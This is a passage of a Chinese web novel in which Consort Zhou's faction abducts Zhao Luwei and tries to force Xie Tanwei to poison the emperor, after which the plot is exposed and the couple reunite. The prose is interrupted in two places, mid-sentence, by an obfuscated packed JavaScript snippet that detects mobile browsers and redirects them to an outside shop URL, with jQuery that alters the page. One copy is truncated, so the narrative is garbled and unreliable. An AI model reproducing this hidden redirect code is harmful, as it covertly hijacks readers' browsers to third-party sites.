一自露微离开谢家,杨君游夫妻、姚宜若夫妻,一并杨淑贤都相继来过,只是露微一概不见,赵启英便也没有深究。此刻听了,更是无心理会,就问道:“父亲如何?夫人和澈儿呢?” 小奴道:“夫人一夜都守在家翁屋外,倒是还好,小郎吵着要去找小娘子,被夫人叫乔娘看管住,只是乔娘哪里能安,反正,反正都快急死了!” 赵启英一时心中闷痛,只想如今天意不明,家中连遭横祸,难道已至绝境?可怎么样,都要把小妹找回来,怎么样,他都要撑住。 “我先去……” 话刚出口,身后突起一阵惊耳马鸣,回首看时,竟见是谢探微跃下马来。前时无事他不来,偏在此刻出现,岂能安什么好意?赵启英的脸色瞬间冷到了底,就叫小奴将人截在门下,说道: “怎么?谢公子今日倒不用去安定观烧香了?” 谢探微望过拦在身前的几个门奴,也并不强要上阶,嗤声一笑,仰面道:“晚一时去也无妨!不是你先叫人在我家门前叫嚣,邀我过府一叙的么?” 赵启英其实并不算了解谢探微的为人,从最初见他维护露微,到后来两家联姻,赵启英多是旁观者的姿态,不过是与露微冰释前嫌,才算与谢探微有了郎舅的名分。 于是听他如此言辞,只觉龌龊不堪,怒斥道:“当初陛下旨意未到,你父母就先到我家求亲,说得好不谦恭,就差替你跪在我父亲面前!可如今,眼看你寄父祸到临头,你谢家便将我妹妹转头抛却,行若狗彘,卑鄙至极,还敢称什么天下甲族,世家领袖?!谢探微,你就是一个彻头彻尾的无耻之徒!” 谢探微由他畅快说完,一无恼怒,负起手,悠然舒了口气,方道:“若论无耻,我怎及得上你?从前赵露微在姚家受尽虐待,还不是你到处宣扬她身世不清。后来被你父亲知晓,给了你一耳光,将你扫地出门,我是亲眼所见,难道你都忘了不成?你倒还敢在此大言不惭,做出一副兄妹情深的样子,才是令人不齿!” 赵启英自然记得以往诸事,只是若非真心悔过,今日也不至于同他唇枪舌战,便紧握双拳,极力忍耐,渐从激动中清醒,向身侧小奴吩咐道:“去将我案上放的断婚书和笔墨拿来。” 小奴听命即去,他才将目光转回对面,道:“今日你签了断婚书,赵家和谢家便作一刀两断,再无瓜葛!” 谢探微一时收敛了面上的恣意,似是专心等候,却忽然抬手一挥,将拦在面前的小奴瞬间冲倒,大步一跨,站到了赵启英面前:“这话,还轮不到你来说!”说着,便自袖中抽出一封书信拍在他胸襟上,哼声又道: “你听好了!原是我休了你妹妹,但看在当时是陛下赐婚的份上,尚且留给你家些许颜面,就算作是和离——这放妻书,你千万要看仔细了!看完了,就莫再心存妄念,遵从便是!” 话音一落,谢探微便转身上马离去,根本不及赵启英作出任何反驳。他自未接手,任凭那“放妻书”坠落在地,也不屑去看。然则,尚未从地上爬起来的小奴竟一惊乍: “公子,这怎么是红的呀!” 小奴将“放妻书”双手举起,进入赵启英眼中的那一瞬,只令他躯体一震。 …… 郑复万没想到,他这一报信,竟叫谢探微当场呕血。他是既愧疚担心,又不禁疑惑:谢探微已经出妻,该是夫妻情断,怎会为前妻失踪如此反应?可既已这般,他二人又为何离婚? 一时无解,谢探微也不听劝去休息,换下了沾血的衣裳就出了门,他踟蹰半晌,也只好返回自己家中。但刚进房门,茶还不及吃上一口,贴身的侍从便呼喊着跑了过来: “公子!公子!公子!” 郑复只看他上气难接下气,憋出的一点气又只忙喊人,不舍得说事,一脸嫌弃,道:“你再喊,就断气了,到了地下可不要说是我短了你的寿!”说着摇头,继续端杯吃茶。 侍从也跟着摇头,两手撑在肋下,大喘了几口气,渐渐缓了过来,说道:“小奴是想说,她醒了!还能说话了!” “噗——”郑复嘴里尚不及下咽的茶水,猛一下全都喷在了随从脸上。 …… 谢探隐陪李氏到岐王府贺喜,一整日的宴饮赏戏,来往奉迎,他只觉从未有此风光时刻,愈加憧憬今后仕途官场的经营,心中受用之情,得意之情,诉说不尽。 至将夜禁,他方伴母归来,不免有些酒沉,一进卧房便往榻上瘫倒,呼唤宁英服侍他更衣吃茶。然而,他兀自叫了半晌,却一无回应,烦躁地睁眼寻看,竟叫他登时惊醒: “……长姊,姊夫,你,你们怎么……来了?” 夫妻二人都以一种从未有过的凝重神色望着他,谢探渺更是渐渐红了眼眶,徐枕山将她扶到一侧,稍示安慰,这才开口: “二郎,你有什么事瞒着家中么?” 谢探隐惊疑方定,却也想不到什么篇章,愈觉口干舌燥,自去案上倒了茶喝,才道:“这话倒奇了,我与姊夫同是门下省属官,日日碰见,能有什么事瞒着?” “是么?”徐枕山目光愈冷,缓缓摇了摇头:“你的一甲第一名——真是你自己考出来的?” 谢探隐正欲倒第二杯茶,一听这话,指间猛一抽动,险叫掌中茶碗掉落在地,道:“这……还能作假么?父亲就是主考官,就算试卷都封了名姓,他还认不得我的字么?若觉得不好,当场也就否了。” 徐枕山极轻地哼了声,道:“父亲主考判卷,自然好就是好,不好就是不好,但我问的是,你的‘好’,是真的么?” 谢探隐的脸色不觉淡去一层,却强笑又道:“姊夫今日说话绕的慌,我还要怎么解释呢?” “谢探隐!你还不肯说实话!” 这一声突然的怒斥,来自一旁的谢探渺,她旁听至此,已是忍无可忍,那双泛红的眼睛,也在同时掉下泪来。谢二郎这才被镇住,嘴唇张合之间,欲言又惧。 谢探渺走上前,深吸了口气,再不宽纵:“你知不知道,章圣直今日找到你姊夫,要他在明日朝会上,告发父亲私下怨怼陛下薄情寡恩,还逼迫他指认你这一甲第一名的状头,是父亲舞弊泄题得来的。否则,便会将晏将军和一众甘州军士,数十条人命都置于死地,还要治他一个暗藏兵器入宫,意图不轨的大逆之罪!” 谢二郎早已在听到“舞弊泄题”时就已支持不住,浑身如抽筋剥骨一般瘫软在地。谢探渺只是看着,并没停顿: “所以,章圣直为何有此底气威胁你姊夫呢?正是他泄题给你的,对么?我们没有证据去反制他,他却有我们众多把柄。如今贵妃一党只手遮天,大郎为了晏将军,竟连妻子都舍出去了,赵家又何罪之有?可你都做了什么?依附奸佞,屈膝求荣,纵然父亲再严厉,何至于你做出这种毁家败业的事来?!” 谢探隐脸色惨白,气息短促,似是黄粱初醒,颤颤抬头,却道:“我只是想要……想要你们都高看我一眼,想像阿兄那样,建功立业……我们谢家天下甲族,累世勋爵,不会那么容易倒的,还有阿娘!阿娘是宗室长辈,连陛下都称她姑母,等这阵风头过了……” 他的声音愈发虚弱,也本身就毫无根基,谢探渺不禁失笑:“说得连你自己也不信了?你其实到现在也不清楚,贵妃一党究竟是要做什么吧?” 谢探隐只知道自己做了什么,她不必,也并非想从弟弟口中听到肯定的回答,沉默半晌,继续道: “二郎,从你寄信给我,我便一直是偏信你的,每每所见所闻,也都是为你心疼。直到露微与我坦诚相见,告诉我,你都做了些什么,我仍对你抱有希望,想要找个机会好言相劝。可万没想到,从前那些竟只是皮毛——你若忘了,我便给你提一提!” 徐枕山一直护在谢探渺身后,纵然也已清楚一切,心情却不比谢探渺轻松。他不止一次规劝过妻子,不要心存偏见,但将心比心,以这对姊弟的情分看来,做长姊的不知真情,一味宽纵,也并非十恶不赦的大罪。他终究是更心疼妻子的。 谢探渺感受到他温热的掌心,侧脸望了望,千言万语,心照不宣,仍是要将话说下去的: “我才到咸京时,楚王逆案刚刚了结,你正被父亲禁足。我问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我……我……”谢探隐惊惶到了极致,已毫无判别之力,眼睛望着长姊,似是求救。 谢探渺早已泣下如雨,嗓音喑哑地道:“这年来,你在我面前谗言挑拨,我信以为真,也有大错,可陪你一起长大的宁英,却能明辨是非。他妹妹宁婉勾引大郎,被母亲遣回扬州,也是因你指使逼迫,对吗?你不在意手足之情,就以为,所有人都不在意了?薄情寡义,卑鄙无耻——谢探隐,你已经没有回头的机会了。” 话到此处,已是尽头,就如此刻的天色,早已陷入一片暗昧,浮云蔽月,明星亦陨。 …… 子夜时分,谢探微方回到家中,门吏向他报说,白日来过的郑小公子下午又来了一回,听闻他尚未归来,也不肯委托事由,匆匆又走了。他略一思索,却并不好奇,只说了三字:“知道了。” 及至回到东院,正在寝屋廊下推门,不料又有小婢寻来,说长姊夫妻已在内堂等候多时。他只好转去相见,可才一踏入内堂,竟见长姊迎面冲来,一把抓住他的手腕就道: “你这么晚回来,是不是去找露微了?找到了吗?” 露微失踪满城皆知,他并不奇怪,片刻只道:“我今日只是去赵家送了和离书,她如何,已经与我无关。” 谢探渺难以置信地摇头,本就泛肿的眼睛瞬间落下来泪来。徐枕山见状,也知她心境未平,难以畅言,上前将她揽回身侧,长叹了口气:“大郎,我来告诉你。” 谢探微不禁蹙眉,这才发现长姊和姊夫的神色皆异于往常,点点头,暂且听了下去。 徐枕山所言之事,便是才与二郎言明的种种,虽则言辞通顺,面对谢探微,仍是惕然心惊,也不免多了许多惭愧之意。 “父亲今夜在省内当班,恐母亲一人难以承受,我与你长姊便暂未惊动,告诉你,便是望你能够撑住。我已佯作答应章圣直,明日朝会就带了二郎上殿,反参章圣直一本,纵然不能一招制敌,也不至于为他钳制。你看如何?” 从姊夫说第一个字起,直至话音落下,谢探微的脸色神情一无变化,唯是几度有意无意的抬眼,叫人十分看不透。 “大郎,你说句话!”徐枕山又追问道,稍露急色。 谢探微的目光在二人脸上来回缓移,若有深思,又似质疑,忽一下,亮出声来: “你们既已知晓,也有明断,我就——更好办了。” 94.陵谷 通往紫兰殿的宫道上,内官王弘俦脚步匆匆,一个穿着乌色斗篷的身影紧随其后,隐匿于沉沉黑夜之中。直至片刻后转入殿内,方在久候他的周贵妃面前,撤下了通身的遮掩: “娘娘夤夜宣召臣,不知所为何事?” 贵妃走出隔帘,见他虽是言辞平常,面色却略显慌促,轻笑道:“章相当真不知?还是不愿相告呢?”不停顿又道:“我说过,事到如今,不可操之过急,章相为何不听?” 贵妃直言不讳,章圣直不由退了一步,但一时倒也定了心神,拱手道:“娘娘所谋之事,原不在于急不急,而是一旦行事,便要一鼓作气,迟则生变。况且,娘娘已是后宫之首,后宫之事皆在掌握,可臣欲助娘娘成事,朝堂之上却屈居人下——说到底,晏令白不过掌握一卫的兵权,赵维贞更只是太子的老师,并无实权,那么,只剩了谢家,树大根深,十分掣肘。” 贵妃听来并不意外,亦未见深思,道:“所以,你便想出叫谢家女婿污蔑谢道元的法子,看似是他们谢家祸起萧墙,以为便能万全?可是今日朝会风平浪静,你还不是一事无成?” 从岁考之时,将徐枕山调入门下省为官,再到谢二郎主动投诚,顺水推舟给了他进士的名头,一步步谋划,都在章圣直的掌控之中,但今日之事他确是失策。既未见徐枕山告发岳父,弘文馆中,谢二郎也告假未至。难道,谢家为自保当真放弃了晏令白的性命?正当他思忖后计之时,贵妃便遣了王弘俦前来传见。 见章圣直脸色稍暗,贵妃不禁冷冷哼声,肃然道:“章相也算老成谋国,数十载仕宦,眼见登峰,却想要功亏一篑?” 章圣直一向自有谋划,不过是从做了吴王的老师起,才算与周氏结盟共谋,便是这“数十载仕宦”,也并没有受过周氏一丝提携之恩。故而听她语带质问,不由心生暗怒,不客气地道: “臣才已说过,娘娘身处后宫,所了解的是后宫的人心,可朝堂之事,文武百僚的人心,任谁想要了如指掌,精确把握,都是做不到的,就算是陛下——如今,不也落入彀中了么?” 最后一句说得如此直白,顿时叫贵妃身躯一颤,后脊便似有汗下,缓了缓,少不得还是要假以辞色,稍作安抚,道: “谢家自然是心腹大患,尤其宗亲之中,岐王庆王乃是陛下同母手足,已多次请旨要为陛下侍疾。我已陪同陛下接见两次,虽未显露,却也非长久之计。这背后,焉知不是新安郡主指使试探?” 她言辞和缓,章圣直倒也不能一味强硬,点头道:“娘娘所言有理。今日事虽未成,臣也另有可图,那谢二郎如今告病也罢,可就算是辞官,他作弊的证据总是在臣手里,仍可压制谢道元。毕竟,我们并无短处在他们手中。” 子时已过,章圣直说完这话,也不欲再留,向贵妃行礼告辞。贵妃揣摩他的态度,不得不信,也不好再激怒于他,便仍叫王弘俦好好送了出去。 不必许久,王弘俦了事归来,见贵妃仍在原处,神色反比先前凝重,想了想,说道: “娘娘,这章圣直就是太急躁,若无此毛病,何至于履历上几度浮沉。老奴看,他有些自视过高了,这威逼徐枕山的手段未成,倒是外头又起了风波,实在不利啊。” 贵妃侧目看他,倒果真被他说中心思。 正是昨日此时,兄长周崇忽然入宫,道是赵家长子忽来京兆府报案,为的便是赵露微失踪之事。按常理,凡是咸京地界发生的刑案,自然是归京兆府管辖。 可一则,赵露微就在他们手中,总不能拱手交人;二来,他们原本所想,赵家丢官罢业,赵露微又因污名遭谢家休弃,还成日宣扬怨怼天子的言论,应该是不敢再惹官司,也不屑让周崇找人的。 饶是如此,偏谢探微又在同一天将休书送到了赵家,与赵启英在赵家门前大吵了一架。原本两家离婚失和也是常事,可他们话赶话,竟说到谢探微去安定观私会之事,被横街上围观的行人都听了去,便很快成了街头巷尾的谈资。 而李柔远被皇帝敕令出家入道的原因,正是她私行不检,与人□□,为直学士姚宜若弹劾揭发。于是,几重事情交叠,很难不惹人议论,这赵露微先是忽然被传出与姚宜若有私,污了清白,为谢家休弃,随后又莫名失踪,皆是李柔远报复所致。 总而言之,贵妃一族已是势成骑虎,根本不像章圣直所言,没有短处握在谢家手中。而章圣直逼迫徐枕山的举动,也无疑是又拱手送上了一个把柄。 周贵妃忽然醒悟,章圣直此人,是用错了。而风言议论虽不是斧钺剑戟,严刑峻法,可以立刻杀人见血,但于此改天换日的局面之下,却代表着载舟覆舟的人心。 “明日一早,你便去告诉柔儿,再也不要私见谢探微,也不必来见我。如果她要闹,我便会立刻要了谢探微的命。” 贵妃的脸色沉重,话音虽不高,王弘俦却很明白其中的分量,才恭敬应诺,又听贵妃问道: “赵露微可还好么?” 王弘俦答道:“她自然是好。” …… 自被王弘俦带入宫中看押,露微便再没见过白日,只是模糊地知晓,自己身处的这间闭室就在周贵妃的紫兰殿。每过一段时辰便有小婢送来饭食,虽不与她说话,却能从门外透来的光亮看出,这是一日的正午。 一日一食,果然只是想叫她暂留一口气。但她既不抗拒,更不吵闹,就算伤痛不适,也忍耐着将这残羹冷炙全都咽下了——她想要的,可不止是这一口余息。 然而,算来远不到第三顿饭的时辰,闭室的门却反常地开启了。她闻声惊醒,却见门外透来的光,昏黄摇曳,将两个异于婢女身形映在壁上,形影缓缓移动,终于现出真身: “妾是什么身份,何劳娘娘亲送饭食?也还不到时辰呢。”来者正是周贵妃和王弘俦,看清他们的同时,露微便率先说道。 贵妃却是头一次近处与她对峙,眼中端量,带出一笑:“我就说你不像太傅之女,纵然是在赵家长大,耳濡目染,却终究不像文士之家的千金——果然,你是晏令白的血脉。这世上的奇巧之事,都被你们父女碰上了,你说有不有趣?” 她在此时提起晏令白,无非是警醒之意,露微了然,也笑道:“娘娘以为此事奇巧,妾却不以为然,难道妾不是他的女儿,娘娘便会放过他?”顿了顿,更将目光端正直视,方继续道: “或者娘娘还有另外的深意?就比如,妾活到这么大,不过十八年有余,竟能碰上两次谋朝篡政的大逆之事。这,岂不比妾的身世,更奇巧么?” 贵妃仍是含笑,缓步上前,伸手提起了她的下巴,这张苍白的面孔倔强分明,凝视良晌,心中竟起了一丝怜悯,缓道:“赵露微,我知道太子为什么喜欢你了,你实在很像他的母亲。” 露微稍觉诧异,想起侍奉太子以来的许多关联,问道:“惠文皇后喜着红衣,就是陛下赐给妾的那身官服一样的红色,她着红时很美,对吗?” 贵妃竟有一瞬出神,旋即深吸了口气,脸色沉下,将她的下巴愈加捏紧,直至她因痛皱眉,方道:“这些话,你很快就能亲自去问惠文皇后了。” 类似于死到临头的话,其实不必贵妃特意来说,他们用尽手段,未必是要留她活路?露微忽然有所解悟,一笑道: “贵妃身居高位,妾只是阶下囚,自是高者难攀,卑者易陵,这也是自古的天理。” 贵妃自不会觉得她是顺从,只道:“不要急,这自古的天理,高者如何难攀,卑着如何陵之,我都会让你一一亲历。” 露微却更笑出声来:“可天理不止一条,高岸为谷,深谷为陵,陵谷之变,或许也可在朝夕之间呢?” 贵妃不再理会,将她放开,目光缓缓下移,在她撑于地面的左手上稍作停顿,转向了一旁挑灯侍立的丁仁成。丁仁成立时会意,将她左臂一把拽起,从腕上脱下了一只镶金玉镯。 很快,闭室又陷入黑暗之中,但露微却是慰然作笑。 …… 对于赵启英的报案,周崇除了告知贵妃,便再无举动,一心只预备着起事的召唤,连日都坐镇京兆府内。他亦听闻此事引起的风波,暗自忖度之际,忽见王弘俦夤夜而来,一问却道,他奉命才去了一趟安定观。 王弘俦自是将贵妃传见章圣直等事一一说明,周崇听到章圣直竟有异心,吓得发了身冷汗,忙道:“王内官,他若是临时反悔,那可不是不得了的事,金吾兵权尚在他手中,贵妃怎么说?” 王弘俦还没说完,安慰道:“府尹莫慌,他早已无法全身而退,就算他手握金吾,想来短短的时日,也无法尽收军心,况且,娘娘说他的心思本就不在兵事上。所以不论金吾如何,我们想要控制偌大的皇城,只有监门卫守住宫门怕是不够,须得召集一些死士,顶替了宫中的金吾。” 那章圣直无心兵事,可周崇也非领兵作战之人,听来一口气不敢松,说道:“想替换宫内金吾,至少要七八百青壮,就算让京兆府的衙差和臣家中的奴仆都来顶上,也差得远。臣又不能明目张胆去办此事,这……这可如何是好?贵妃又何时要人呢?” 王弘俦却反作一笑,微微躬身上前,按住了周崇手臂,道:“府尹守着京兆大狱,还怕凑不出几百个男丁?” 周崇猛一恍然,脸色白去几层:“贵妃要放囚犯为……” 王弘俦举手示意他噤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196326|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,虽已深处府堂内院,隐私之处,仍显出万般谨慎,左右环顾,方点头:“娘娘要府尹尽快为之,最好就是这一二日。” 周崇长长地舒了口气,明白了话中的含义,“臣知道了。” 王弘俦见周崇已经清明,心下稍安,不再多留,行礼告辞,转从屋后小门悄然离去。 周崇自也再无心思歇下,来回踱步,思量了半晌,抬脚去了前堂,唤来当班的衙差问道:“贺伦今晚在不在?可回家没有?” 衙差一听这个名姓,却是忍笑:“这京兆大狱不就是贺法曹的家么?府尹一年十二个月唤他,他有十三个月都是在的!” 周崇却冷下脸来,瞪了他一眼,片刻道:“你去,将他请到隔间里,就说有些旧案要他整理。” 衙差早已领会长吏脸色,断不敢再取笑,小跑而去。然而眨眼的工夫,他却又折返回来,周崇正奇怪,才要询问,竟见他身后赫然转出个人影: “下官贺伦,久候府尹。” …… 晏令白被关押大理寺已有月余,虽数度提审,他和一众甘州军士自是不认污名。但纵是周氏要将他置于死地,倒也未见有刑讯逼迫之事,一应审问步骤皆是大理寺的官吏按律办理。 起初,他只是想自己在朝中的身份毕竟举足轻重,而且谢家一时并未受到牵连,周氏是有所顾忌。然而时间一久,他也渐生狐疑,这周氏既敢行此悖逆大事,怎么连给他加刑之事都不敢做呢?饶是谢家支撑,恐怕也另有文章。 他思来想去,终究无法推定外头的缘故,不得已,还是念起心头最要紧的一件事,静默许久,不觉皱眉闭目。这副形容,落在与他一处关押的陆冬至眼里,不免关切,凑近问道: “将军在想什么?” 晏令白闻声睁眼,见这小子双目圆睁,愣头愣脑的,虽已成婚,也从未改往日淘气,笑道:“你倒不怕,也不担心贤儿?” 冬至瞬间垂头一叹,想起自己被抓来那日正在杨家,淑贤吓得不轻,幸而杨君游在家,将妹妹挡在怀中。他情急之下也乱了方寸,就远远喊着,叫她千万不要出门。 “她幸而不像我,有父亲,有兄姊,怎么也不会让她一个人熬着的。我怕也没用,我本来……就很没用。” 晏令白与他虽没有父子的名分,但实情并不比与谢探微差到哪里。当年将他从死人堆里捡回来时,晏令白与宋容尚未离婚,他便是养在宋容身边,咿呀学语时就唤宋容阿娘,此间情分早无分别。 只是后来宋容离去,晏令白已受托收了谢探微为义子,为怕军中多言,一个军将广收义子,私心难测,便终究省了这一个虚名。在他看来,冬至天分虽平常,难得却是真诚纯善,一丝旁杂的心思也没有,来了繁华的咸京也未有改变。 故而,晏令白既是甚为了解他,见他妄自菲薄,也有些疼惜,拍了拍他的肩膀,道:“杨司业素来眼光独具,你若没用,他怎肯将女儿嫁你?甘州军出身的将士,也没有一个是孬种。” 陆冬至少见晏令白如此直白夸赞,一阵羞惭,却也振作不少,缓了缓,仍觉将军眉宇凝愁,忖度又道: “将军,你也不要怕,谢探微还在外头,他是一定一定不会让露微有危险的。” 露微的身世自已不是秘密,只是这话却叫晏令白骤然一惊,他没想到,冬至竟能一句话戳破他的心思。 下狱前最后一次见露微,那孩子大约原就是来探望他的,却因忽被乔氏告知真相,顿时就变了一副心肠。那般义正辞严,又那般冷静质问,令他在那一瞬当真觉得,此生已到尽头,而从不怕死的他,也在那一瞬,感到了无边无际的恐怖。 他不知再说什么,陆冬至也似会意,抿紧了嘴巴,转身返回监室角落的草垛。然而,几步的距离不及踏足,外间的暗长的甬道间却传来了一阵震动,越发分明,像是来了不少人。 “将军快看,好像是张寺卿!” 冬至一听到动静就贴去了监室的铁栏上,近乎要将脑袋硬生生挤出去,视线也仅能望见一个紫袍的身影,很像是每次过堂都能见到的大理寺卿张渚。 晏令白一听倒警觉起来,想他们关押逾月,倒不曾见这大理寺的长吏亲自下到狱中,难道不是提审?其余相随的脚步又能是谁? “昭清!” 一无叫他继续深思的空隙,甚至也不及他起身,猛然入耳的这声呼唤,只令他浑身僵直—— 监室门外霎时聚起通明的火光,将每一张面孔都照得清清楚楚,果有大理寺卿张渚,而方才唤他的那人,竟是去岁秋天就奉旨离京的甘州总管顾夷中。 “晏将军,你受苦了!”这句话,出自赵维贞之口。 95.重圆 晨交五鼓,谢探微整甲执剑,准时来到紫宸殿外与昨夜戍卫的金吾换防。皇帝近来病沉,已取消了多日的常朝,今日也不例外。他方站下不久,便见太医令陈自和前来为皇帝看诊,自殿内出来接引的内官是王弘俦——昨夜正是周贵妃亲为皇帝侍疾。 大约半个时辰,陈自和便退出了殿外,送他出来的仍是王弘俦。只是,眼见陈自和去远,王弘俦却并不转身,脚步慢踱,来到了谢探微面前,道: “谢司阶,贵妃娘娘请你进去问话。” 谢探微拱手一礼,并不就去,问道:“臣是殿前金吾,未有奉诏,擅入死罪。不知娘娘有何吩咐?” 王弘俦笑了笑,道:“陛下尚未清醒,自然无法传见。只是娘娘连日忧切陛下病体,倒是疏忽了太子。那日,娘娘将东宫交由金吾护卫,不知司阶安排得如何,大约要问问这些。” 谢探微舒了口气,忙道:“原来这样,这倒是臣的疏失,臣这便进去向娘娘禀报!” 王弘俦露出欣然的神色,点点头,看他主动卸下佩剑交到身侧金吾郎手中,嘴角含笑,这才引了他入殿。 谢探微上回踏入内殿,还是擒拿楚逆之时。此刻殿中格外安静,四顾未见一个内官宫婢,一道薄削削的纱帐分隔内外,能让人清晰地辨别贵妃安坐的身影,以及天子平躺昏睡的轮廓。 但,贵妃的面容却是一团混沌,看不清的。 他站在帘外半晌,却不见贵妃出来,也不闻贵妃问询,正欲主动禀事,却忽见王弘俦上前,将纱帘拨开了。所见情形与隔帘无差,贵妃端庄的面孔,仍是不知其深的。 “娘娘,东宫一切安好,太子殿下再未离宫,每日不过是读书消遣。”他垂目下拜,从容说道。 贵妃未置可否,嘴角衔起一丝笑,却道:“我听闻,你与柔儿已经约定了终身,你亲口告诉她,要娶她为妻,是么?” 谢探微方听“柔儿”两字,已屈膝伏跪在地,“仰赖公主青眼,臣——确有此心,还请娘娘成全。” “你倒是很敢承认。”虽语带称赞之意,贵妃面上的笑意却冷了下来,“或者可以说,我的柔儿就是喜欢你这身胆气,全不似那些没有骨头的贵胄子弟。” 谢探微额面触地,未曾一丝动摇,回道:“臣自幼长于浩瀚边庭,苍茫绝域,将臣养大的是狼山烟尘,教臣成人的是浴血白刃,臣若无骨,早成亡魂,何以如今戍卫玉阶,效命至尊?” 他并未起身,话音掷地,震荡徘徊,也不闻贵妃赐语,良久,方觉一双轻巧脚步来至额前,道: “你既想要成为柔儿的驸马,单是效命至尊,恐怕不够。” 谢探微一笑,缓缓直起身躯,直至贵妃能清楚望见他的面孔:“臣欲以公主为妻,自然,娘娘才是臣心中至尊。” 贵妃眼中闪过一丝惊诧,稍作停顿后,却唤了声王弘俦。他随之看去,见王弘俦手中不知何时端来了一碗汤药。这殿中何人需要用药,已无需多言。 “去侍奉陛下饮药,我就信你是根硬骨头——事成之后,便将柔儿赐婚于你,就是这金吾卫大将军之职,也是你的。” 谢探微猛一愣怔,目光在贵妃与王弘俦之间转移,又跳到昏睡无觉的天子脸上,身躯忽然塌下:“娘娘要臣……弑君?” 贵妃竟是展颜,反常地露出满意的神情,“谢探微,你不敢?你才说过的话,都是假的?” “谢司阶,娘娘已经说得很明白了。”王弘俦附和道,又将药碗向他递近了些,“你的花言巧语,背后心思,公主心悦于你,自然难以看清,可娘娘岂会轻信?” 见谢探微只是惊惧难言,贵妃似怜悯般摇了摇头:“你以为,金吾仍是听命于晏令白,我就没有办法了?你不如就去外头看看,有谁还能来助你。” 谢探微浑身一颤,从地上爬起来,冲向殿外的身姿歪斜跌撞,终于在望见阶下情形的一瞬轰然瘫倒:正该精神奕奕的殿前金吾,不知因何满地横倒,再无一个站立身影。 “他们都饮了太医署循例送去的预防时症的汤药,怕是不会再醒了。谢司阶,你没有退路了。”王弘俦躬身在他耳边道,“若你还是不敢,那——她,也活不了。” 谢探微缓缓侧目,望见他用掌心递来一只桃花玉镯。 …… 贵妃走后,时间已超过一日,却再未有小婢送来饭食,饥寒相侵,露微渐渐有些支撑不住,只能依凭墙角蜷缩身体,保持着微弱的余力。不知又过了多久,忽有起伏的风声自平地腾起,夹杂笃笃之声荡入耳内,叫她恍惚间眯开了眼睛—— 眼前不是一片黑暗了,竟有人影,与这声音一般扑面而来,带给她的是绝地逢生的惊喜,只听那人道: “赵学士,是我,我带你走!” 露微紧紧攀住此人伸来的手臂,裂口的嘴唇冒出血珠,千头万绪,不知所言。 …… 谢探微双膝跪于皇帝榻前,一手端着早已冰凉的汤药,一手向皇帝脑后伸去,却许久不曾将人扶起,灌下这弑君的毒药。 贵妃见他迟疑,望了眼窗外,眉头一蹙,再不容他继续迁延,“你还要等到什么时候?!你不惜死,也不想要赵露微活着了吗?” 王弘俦就站在谢探微身前监视着,此刻又拿出那只桃花玉镯在他眼前晃了晃,“谢司阶,你苦心孤诣,不就是为了这个女人么?她性子刚烈,已多日未进水米,撑不了多久了。” 谢探微暗暗切齿,颊腮鼓动,瞪视间又迟延片时,终于点头,慢慢将皇帝扶至半卧。 那一前一后的两双眼睛,死死盯着他端药的右手,越是靠近天子的唇边,越是灼热——骤然一瞬,如击电光,似撞石火,疾闪而过——深殿之中响彻一声惨叫。 “谢探微!!你!” 明明已至绝境的人,却将手中汤药挥甩出去,力道之重,令药碗在王弘俦面上瞬间撞碎,细密锋利的碎瓷登时刺破了这宵小的双目,鲜血飞溅,滚地不起。 周贵妃惊惶跌地,也在喊出谢探微的同时,望见了御榻之上,正缓缓危坐的“病重”天子。 “金吾何在?!速速护驾!” 谢探微浑厚的斥令声不及回落,方才横倒殿前的金吾便已悉数冲进殿来,只顷刻间,奸妃恶宦,偃旗息鼓。 然而,谢探微忽然又像丢了魂,一无顾及天子,也再不指令金吾,只将自己进殿前卸除的佩剑一把抓起,剑锋直指周氏: “说!我妻现在何处!说啊!!” 他近乎嘶吼,面目涨红,狰狞可怖。可事败至此的周氏,在左右金吾的压制之下,反却狂笑起来:“她死了!早就死了!” 他是不信的,脑子里一片浑浊,又变成了不敢,进退维谷之间终于再无理智—— “谢敏识!不要!” 剑气挥起的一瞬,一道急促高亮的声线率先冲破了他脑中的混沌。于是,剑刃坠地,夫妻重圆。 …… 晏令白和顾夷中领着皇帝亲卫羽林军随后赶到,皇帝已命金吾将奸邪押下待罪。他们向皇帝禀告,听命于周氏的监门卫将领已被斩杀,暂由一支甘州军护卫宫门。京兆尹周崇,附逆共谋的章圣直也都已擒拿。太傅赵维贞已亲往东宫接护太子,而首相谢道元正于外朝大殿约束安抚朝廷百僚。一切都已无恙。 皇帝静静听完,沉郁的脸色未见一丝明朗,抬起的双眼竟是一片泪光,道:“今日之祸,罪在朕躬——朕要下诏罪己!” 天子罪己,是本朝立国以来从未有过的事,晏顾二将惶然大惊,齐齐跪地,呼道:“陛下,陛下不可!” 皇帝只是亲自将他们扶起,摇了摇头,未再一言。 …… 当咸京的官人士民,像是年节解禁一般,都为这陵谷之变奔走相告,陷入无法平息的喧腾之时,谢探微早已抱着露微回到家中。四目相对,惘然如隔世。 然而,谢探微始终不说话,褪下甲胄,双膝跪地,若呆滞般,望着榻上之人虚弱的淡笑。 露微亦不催问,良晌,缓缓将他的右手牵起,苍白的嘴唇轻抿了下,道:“就叫如晦好么?风雨如晦,谢如晦。” 她将他冰凉的掌心贴在自己的小腹上,腹中是他们刚来不久的第一个孩子。 谢探微仍作沉顿,纹丝不动。露微知他必定错愕不及,只是含笑等他回神,谁知,竟倏然被他拥进怀中: “我知道!我知道!” 他啜泣有声,却不是后怕之意,露微这才惊觉:“我没有告诉你,你怎么知道的?我谁也没有告诉。” 谢探微喘了几声粗气,极力忍住胸中波澜,方缓缓松开手臂,从甲胄之下摸出一个泥塑小猪,举到她面前: 